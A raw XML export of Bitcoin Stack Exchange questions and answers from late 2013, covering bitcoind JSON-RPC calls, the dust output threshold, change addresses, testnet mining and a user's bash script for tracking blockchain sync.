  <row Id="14216" PostTypeId="2" ParentId="14212" CreationDate="2013-10-31T15:55:54.140" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;but the negative point is that the client need to keep the session openned until the server recognize the payment (at least for what I understood, if I'm wrong correct me)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My Bitcoin SCI script doesn't stop processing the payment if the session expires. It will just start a new session. The session variables are used in the script to hold temporary data which can be recovered if the session expires. But if the client IP changes it will not allow the transaction to complete for obvious reasons. If the client closes the page they will be able to complete the transaction but only if they saved the URL of the transaction page and if their IP address hasn't changed. In the case where the client pays and then leaves the page before completing the transaction you have several options, but it really depends on how you integrate the script into your own site.&lt;/p&gt;&#xA;" OwnerUserId="6116" LastActivityDate="2013-10-31T15:55:54.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14217" PostTypeId="2" ParentId="14213" CreationDate="2013-10-31T16:01:26.337" Score="1" Body="&lt;p&gt;I think you can do this by using the bitcoind JSON-RPC interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following links should be helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Identify the change address by looking at the transaction in question and then use &quot;dumpprivkey &quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that bitcoind is creating the change address every time you do a transaction where the change is greater than 0.0.&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2013-10-31T16:01:26.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14218" PostTypeId="2" ParentId="14194" CreationDate="2013-10-31T16:25:32.987" Score="-1" Body="&lt;p&gt;Nearly everyone who bought specialized mining hardware (whether it be GPUs, FPGAs and now ASICs) would have done better simply buying bitcoins with the money instead.  A few did get more than 1 bitcoin back per 1 bitcoin worth of investment in hardware -- it happen to end up such that those who speculated on the right mining hardware vendor that actually wasn't all that late in shipping happened to be the ones who earned more (in terms of XBT/bitcoin revenues) than the cost of hardware, electricity and operating costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, Bitcoin solves a problem in how to have a decentralized system of money with no authority.  The problem you are describing, ... allocation of a resource equally, doesn't exist in nature.  Bitcoin is a protocol, with issuance modeled to be similar to what history has yielded as the leading natural form of money (gold).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-31T16:25:32.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14219" PostTypeId="2" ParentId="14078" CreationDate="2013-10-31T20:22:09.137" Score="7" Body="&lt;p&gt;Type &quot;ldconfig&quot; to update the links&lt;/p&gt;&#xA;" OwnerUserId="7407" LastActivityDate="2013-10-31T20:22:09.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14222" PostTypeId="2" ParentId="11708" CreationDate="2013-10-31T23:54:29.337" Score="1" Body="&lt;p&gt;The standard Bitcoin software up to version 0.4.x had a GUI based on wxWidgets rather than QT. For version 0.5 it was merged with the then-separate bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The older version allowed you to select an address to be displayed in the overview. If you received funds to an address while it is selected, Bitcoin would automatically generate a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe this functionality still exists in the QT version. It does however still generate new addresses for change.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-31T23:54:29.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14223" PostTypeId="2" ParentId="14200" CreationDate="2013-10-31T23:59:23.920" Score="1" Body="&lt;p&gt;If you have linux's shell, you may try my bash script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat coin_get_diff.sh&#xA;#!/bin/bash&#xA;[ -z &quot;$1&quot; ] &amp;amp;&amp;amp; echo &quot;Usage: input=coinname&quot; &amp;amp;&amp;amp; exit 1&#xA;coin=&quot;$1&quot;&#xA;&#xA;while sleep 1;do&#xA;blk=&quot;$(eval &quot;$coin getblockcount&quot;)&quot;&#xA;h=&quot;$(eval &quot;$coin getblockhash $blk&quot;)&quot;    &#xA;coin_t=&quot;$(eval &quot;$coin getblock $h&quot; | grep '&quot;time&quot;' | awk '{print $3}' | sed -e 's/,//g')&quot;&#xA;&#xA;d=&quot;$[$(date +%s) - $coin_t]&quot;; dm=&quot;$[$d / 60]&quot;; dh=&quot;$[$dm / 60 ]&quot;; dd=&quot;$[$dh / 24 ]&quot;&#xA;echo &quot;Difference with main chain $d s. or $dm m.  or $dh h.  or $dd d.&quot;&#xA;&#xA;if [ -z &quot;$first_t&quot; ];then&#xA;        first_t=&quot;$d&quot;&#xA;        start_watch_time=&quot;$(date +%s)&quot;&#xA;else&#xA;        difference=$[$first_t - $d]&#xA;        speed=&quot;$(echo &quot;$difference / $[$(date +%s) - $start_watch_time ]&quot; | bc -l)&quot; &#xA;        remain_seconds=&quot;$(echo &quot;$d / $speed&quot; | bc -l)&quot; &#xA;        remain_minutes=&quot;$(echo &quot;$remain_seconds / 60&quot; | bc -l)&quot;&#xA;        remain_hours=&quot;$(echo &quot;$remain_minutes / 60&quot; | bc -l)&quot;&#xA;        remain_days=&quot;$(echo &quot;$remain_hours / 24&quot; | bc -l)&quot;&#xA;        # eval &quot;$coin getinfo&quot;&#xA;        echo -n &quot;Approximate remain: $remain_seconds seconds to complete  sync.&quot;&#xA;        echo &quot;[m: $remain_minutes; h: $remain_hours; d: $remain_days ]&quot;&#xA;fi    &#xA;[ &quot;$LAST_BLK&quot; == &quot;$blk&quot; ] &amp;amp;&amp;amp; echo &quot;Alarm! Stuck on block # $blk!&quot;&#xA;LAST_BLK=&quot;$blk&quot;&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start it in next manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bash coin_get_diff.sh bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;....&#xA;Difference with main chain 2528577 s. or 42142 m.  or 702 h.  or 29 d.&#xA;Approximate remain: 2186.83957899106610047826 seconds to complete  sync.[m: 36.44732631651776834130; h: .60745543860862947235; d: .02531064327535956134 ]&#xA;Difference with main chain 2526232 s. or 42103 m.  or 701 h.  or 29 d.&#xA;Approximate remain: 2184.21035499949140474011 seconds to complete  sync.[m: 36.40350591665819007900; h: .60672509861096983465; d: .02528021244212374311 ]&#xA;Difference with main chain 2524021 s. or 42067 m.  or 701 h.  or 29 d.&#xA;Approximate remain: 2205.15551284291455530316 seconds to complete  sync.[m: 36.75259188071524258838; h: .61254319801192070980; d: .02552263325049669624 ]&#xA;...&#xA;..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read this my answer: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/14104/how-long-does-it-take-to-download-blockchain/14114#14114&quot;&gt;How long does it take to download blockchain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7317" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-10-31T23:59:23.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14224" PostTypeId="2" ParentId="14195" CreationDate="2013-11-01T00:35:49.963" Score="3" Body="&lt;p&gt;Surely you were screwed. Before buying something from the internet, it is a good idea to look how legitimate is the source. Just a quick &lt;a href=&quot;https://www.google.com/#q=coinbase+fraud&quot; rel=&quot;nofollow noreferrer&quot;&gt;search on the internet&lt;/a&gt; is showing that a lot of people have these problems. If it would be really something with fraud prevention, they could have cancelled the money right away and you will receive them back in one day (like if you reserve a hotel and then cancel it). I understand that right now I sound &lt;a href=&quot;http://www.youtube.com/watch?v=cqkI691dxNg&quot; rel=&quot;nofollow noreferrer&quot;&gt;like this guy :-)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most probably if the situation with bitcoins ended up other way around from 160 they dropped to 100 you would have received it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What they have done can be described this way: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are trading on some exchange. And you decide to sell bitcoins there. You sold them and one of the two things happened.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bitcoins lost 30% of their value. Cool you got 30% profit. You are happy.   &lt;/li&gt;&#xA;&lt;li&gt;bitcoins increased their value by 30%. You disappointed and undo the transaction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They just undid the transaction. I hope you will at least receive your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to learn from this: never take others people money to invest in something you are not sure, buying this from people you have no reason to trust.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="48681" LastEditDate="2018-08-10T17:07:45.003" LastActivityDate="2018-08-10T17:07:45.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14225" PostTypeId="2" ParentId="14204" CreationDate="2013-11-01T01:36:10.983" Score="0" Body="&lt;p&gt;There are a couple of good resources to find these: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Open_Source&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Category:Open_Source&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;del&gt;&lt;a href=&quot;http://luke.dashjr.org/programs/bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://luke.dashjr.org/programs/bitcoin&lt;/a&gt; - bitgit&lt;/del&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some of my favorites fall into the following categories:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Address Generation&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/brainwallet/brainwallet.github.com&quot; rel=&quot;nofollow&quot;&gt;Brainwallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;Vanitygen&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Blockchain exploration&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;Bitcoin ABE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Mining Pool software&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitorious.org/bitcoin/eloipool&quot; rel=&quot;nofollow&quot;&gt;Eloipool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Wallets&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/spesmilo/electrum&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6218" LastEditDate="2014-10-07T06:29:51.763" LastActivityDate="2014-10-07T06:29:51.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14229" PostTypeId="2" ParentId="14215" CreationDate="2013-11-01T03:30:48.890" Score="3" Body="&lt;p&gt;It can be done safely but it can also be done unsafely. If each thread uses its own connection, then it is safe. If the threads &quot;fight&quot; over the connections, then it won't work.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-01T03:30:48.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14231" PostTypeId="1" AcceptedAnswerId="14233" CreationDate="2013-11-01T04:21:38.450" Score="-2" ViewCount="157" Body="&lt;p&gt;I am looking at Ripple API overview, and it looks to take a different approach from Bitcoin as to handling one's private keys. In Bitcoin, one requires to use a wallet and often a password to that wallet to create transactions. In Ripple, it looks like transactions that require one's private key need to have it passed as a parameter in a given JSON call (for example, &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#sign&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;sign&lt;/code&gt; message&lt;/a&gt;). Does this mean that rippled does not store any information about a given user or a company that hosts it and connects to it? I do see a wallet.db file in the database folder, but I'm not sure what it's used for.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-01T07:01:09.700" Title="Does rippled store any information on accounts and addresses?" Tags="|wallet|ripple|json-rpc|" AnswerCount="1" CommentCount="1" ClosedDate="2020-05-06T08:13:26.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="14233" PostTypeId="2" ParentId="14231" CreationDate="2013-11-01T07:01:09.700" Score="3" Body="&lt;p&gt;The Ripple server does not store accounts or keys. At one time, the Ripple server had accounts and keys in the wallet database. It no longer does.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-01T07:01:09.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14234" PostTypeId="1" CreationDate="2013-11-01T11:30:50.083" Score="-1" ViewCount="522" Body="&lt;p&gt;Many stores offer PayPal as payment method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use Bitcoins to pay in these stores somehow without having a PayPal account yourself?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastActivityDate="2013-11-02T19:39:57.893" Title="Can you use paypal payment with Bitcoins?" Tags="|alternatives|payment|paypal|" AnswerCount="1" CommentCount="3" ClosedDate="2013-11-03T04:56:21.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="14236" PostTypeId="1" AcceptedAnswerId="14237" CreationDate="2013-11-01T15:03:40.657" Score="3" ViewCount="2558" Body="&lt;p&gt;The Bitcoin Dark Wallet project is accepting donations to address &lt;a href=&quot;https://blockchain.info/address/32wRDBezxnazSBxMrMqLWqD1ajwEqnDnMc&quot; rel=&quot;nofollow&quot;&gt;32wRDBezxnazSBxMrMqLWqD1ajwEqnDnMc&lt;/a&gt;. How is this a valid address? I thought that all Bitcoin public addresses start with &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-01T15:03:40.657" Title="How is an address beginning with a 3 valid?" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14237" PostTypeId="2" ParentId="14236" CreationDate="2013-11-01T15:03:40.657" Score="3" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;List of address prefixes&lt;/a&gt;, an address beginning with &lt;code&gt;3&lt;/code&gt; is &lt;em&gt;Bitcoin script hash&lt;/em&gt;. This means that transactions sent to this address are handled differently than normal transactions.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-11-01T15:03:40.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14238" PostTypeId="1" CreationDate="2013-11-01T16:21:51.887" Score="1" ViewCount="263" Body="&lt;p&gt;a lot of bitcoin clients now send change address balances back to the origin address, by default, to make it easier for people to keep track of their balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with this in mind, those transactions are easy to reveal which address is the origin, the destination and the change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this singles out transactions that do not behave this way, where the origin address splits the transaction into a real destination and a new change address and coins sit in both. Just from looking at the blockchain, how would one decide which address was the real destination and which one was the new change address. Would it be the timestamp each address was created or similarly when it was first revealed to have a transaction?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-12-01T19:52:18.747" Title="distinguish change address from real origin&lt;-&gt;destination" Tags="|transactions|blockchain|address|timestamp|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14240" PostTypeId="2" ParentId="14238" CreationDate="2013-11-01T18:07:54.817" Score="1" Body="&lt;p&gt;There is no way to know for sure which address is which.  This is part of the reason why some clients use a new address for change, for privacy; an observer will not be sure which coins now belong to whom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no public timestamp recording when an address was created.  If one of the addresses has been used before and the other has not, this might suggest that the new one is for the change; but it could also be that both outputs are going to two different people, or that the sender is sending coins to herself and both addresses are &quot;change&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-01T18:07:54.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14242" PostTypeId="2" ParentId="14133" CreationDate="2013-11-01T19:19:27.217" Score="13" Body="&lt;p&gt;I think I Found it.  Someone wrote a C program to generate a genesis block.  Code is on github here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Gnaf/GenesisBlockZero&quot;&gt;https://github.com/Gnaf/GenesisBlockZero&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original code was pulled from a discussion on the bitcoin developer forums:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=187888&quot;&gt;https://bitcointalk.org/index.php?topic=187888&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compile and run the program to generate the initial SHA256 hash, the time and nonce, then plug those into the bitcoin main.cpp source and recompile.  I &lt;em&gt;think&lt;/em&gt; that's all you have to do to start a new blockchain.&lt;/p&gt;&#xA;" OwnerUserId="7328" LastActivityDate="2013-11-01T19:19:27.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14243" PostTypeId="2" ParentId="8639" CreationDate="2013-11-01T22:01:28.787" Score="0" Body="&lt;p&gt;a liquid options market will provide adequate cheap insurance against price fluctuations, while preserving gains in the purchasing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;an already existing liquid futures market can provide adequate insurance against price fluctuations while preserving the initial purchasing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the options market scenario is cheaper in short terms, where one would buy near the money puts relative to their buying portfolio. in a volatile market they would gain value or expire in the money, adequately hedging your portfolio. or they will expire worthless, slightly decreasing your initial holdings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the flexibility of both of these derivatives denominated in bitcoin is that they can be filled in any fractional contract size. so arbitrary wallet sizes can be hedged adequately without having to worry about multiples of 100 or so.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-11-01T22:01:28.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14244" PostTypeId="1" CreationDate="2013-11-01T22:13:17.690" Score="3" ViewCount="1077" Body="&lt;p&gt;I'm trying to create a transaction via JSON-RPC API. It has low outputs, but not below &quot;dust&quot; threshold, yet it's still getting rejected by bitcoind with error code &quot;-22&quot;. Transaction includes fee of ฿0.0001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And human readable view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;0c1b46a2cb0b2aef67c858503dc1cf365f2f792401ff6d2bcab9aa1fd0669702&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;6616fb9b2b2ebb079ca718ff444655075e263bc65fb5660bcc2007dbc7bfe7bb&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;304602210099c8d1376a735f3cfb79d19fdf6d196cdce60e5a3555aa5080b021b649b95d1a022100e5faf1deedd45f9666e77ae97a2e7618567abb03861f3756392a5ff2e35c9f5401 04e171d9dee93d16be86a6489fb9dd06bcf42b2c19d869b6302ebc4e2cff93a8576dbf6c8c5372eca8c8ea69a1bd8107475916526377e8befd15ccaf91d9dd206c&quot;,&#xA;                &quot;hex&quot; : &quot;49304602210099c8d1376a735f3cfb79d19fdf6d196cdce60e5a3555aa5080b021b649b95d1a022100e5faf1deedd45f9666e77ae97a2e7618567abb03861f3756392a5ff2e35c9f54014104e171d9dee93d16be86a6489fb9dd06bcf42b2c19d869b6302ebc4e2cff93a8576dbf6c8c5372eca8c8ea69a1bd8107475916526377e8befd15ccaf91d9dd206c&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00005430,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 9bd0064acb814a139db73e049f04489dd9aec76b OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9149bd0064acb814a139db73e049f04489dd9aec76b88ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1FCrwY2CsLJgsmbogSunECwCa6WswBBrfz&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00007401,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 a4d7331e96bf019411540cfc1d6e018d31c5329a OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a914a4d7331e96bf019411540cfc1d6e018d31c5329a88ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1G2bcoCKj8s9GYheqQgU5CHSLCtGjyP9Vz&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why it's getting rejected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&#xA;Minimal output that is accepted is 5460 satoshis. &lt;/p&gt;&#xA;" OwnerUserId="3312" LastEditorUserId="132" LastEditDate="2014-01-13T14:39:35.263" LastActivityDate="2014-01-13T14:39:35.263" Title="Why is a transaction with outputs of less than ฿0.00005460 rejected?" Tags="|bitcoind|json-rpc|dust|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14245" PostTypeId="1" CreationDate="2013-11-01T23:10:43.953" Score="4" ViewCount="3214" Body="&lt;p&gt;I am trying to generate some coins with &#xA;the client ./bitcoin-qt -testnet -gen&#xA;How can I config to what address the money go ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s.: actually I got notification for mining success but no coins in the wallet.&lt;/p&gt;&#xA;" OwnerUserId="7433" LastEditorUserId="5406" LastEditDate="2016-03-14T16:52:47.687" LastActivityDate="2016-03-14T16:52:47.687" Title="Mining on the testnet: how to configure bitcoin-qt?" Tags="|bitcoin-core|testnet|miner-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14246" PostTypeId="1" AcceptedAnswerId="14356" CreationDate="2013-11-02T00:47:12.453" Score="1" ViewCount="1491" Body="&lt;p&gt;There is this very &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1762/how-to-call-json-rpc-sendtoaddress-when-the-wallet-is-encrypted&quot;&gt;helpful post&lt;/a&gt; detailing how to lock and unlock your bitcoin wallet using &lt;code&gt;walletlock&lt;/code&gt; and &lt;code&gt;walletpassphrase&lt;/code&gt; api calls. Unfortunately the &lt;a href=&quot;https://litecoin.info/Litecoin_API&quot; rel=&quot;nofollow noreferrer&quot;&gt;litecoin api&lt;/a&gt; does not boast these features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a similar strategy in place for securing a litecoin wallet perhaps using the &lt;code&gt;lockunspent&lt;/code&gt; command? &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-11-05T06:17:42.980" Title="Locking litecoin wallet with JSON-RPC" Tags="|wallet|litecoin|api|json-rpc|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14254" PostTypeId="2" ParentId="14245" CreationDate="2013-11-02T10:52:46.810" Score="1" Body="&lt;p&gt;The address is created in the wallet that is controlled by bitcoin-qt, so it will eventually pop up in your transactions, but the coins take time to mature. This is a security precaution to avoid transactions that spend coins from a block that will later be replaced. Using the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;Bitcoin JSON-RPC&lt;/a&gt; might show them already even if they have not matured yet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-qt -testnet listunspent 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should list all unspent transaction outputs with at least 0 confirmations, i.e., everything. One of them should be your reward. From the output you can deduce the generating transaction's Hash and from there you can simply use &lt;code&gt;./bitcoin-qt -testnet gettransaction &amp;lt;txid&amp;gt;&lt;/code&gt; to get details about the transaction.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-02T10:52:46.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14255" PostTypeId="2" ParentId="14244" CreationDate="2013-11-02T10:58:55.793" Score="4" Body="&lt;p&gt;Anything lower than 5460 satoshis is currently considered dust, that bloats the blockchain, while transferring a value that is lower than what it costs to store the resulting output on disk. From the &lt;a href=&quot;https://bitcoinj.googlecode.com/git-history/e4a5c6bbc98587b72573317f4efda915c4858e4a/core/src/main/java/com/google/bitcoin/core/Transaction.java&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; source:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any standard (ie pay-to-address) output smaller than this value (in&#xA;  satoshis) will most likely be rejected by the network. This is&#xA;  calculated by assuming a standard output will be 34 bytes, and then&#xA;  using the formula used in &lt;code&gt;getMinNonDustValue(BigInteger)&lt;/code&gt;. Currently&#xA;  it's 5460 satoshis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-11-02T10:58:55.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14256" PostTypeId="1" AcceptedAnswerId="14268" CreationDate="2013-11-02T12:40:42.363" Score="6" ViewCount="5204" Body="&lt;p&gt;Meaning, if more people mine Primecoin, does it get harder to mine? From what I understand, it shouldn't, but I want to be sure.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-11-05T11:59:23.630" Title="Is Primecoin mining competitive?" Tags="|primecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14260" PostTypeId="1" CreationDate="2013-11-02T15:34:00.640" Score="0" ViewCount="1193" Body="&lt;p&gt;Any one can explain me why I get a negative balance after execute a sendfrom ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;sendfrom myaccount btcaddress amount&quot;&#xA;and right after&#xA;&quot;getbalance myaccount&quot; return  a negative balance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really understand why the balance is negative ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After 1confirmation, the balance come back to his real value.&lt;/p&gt;&#xA;" OwnerUserId="7441" LastActivityDate="2013-12-02T23:53:09.960" Title="Negative balance after sendfrom bitcoind" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
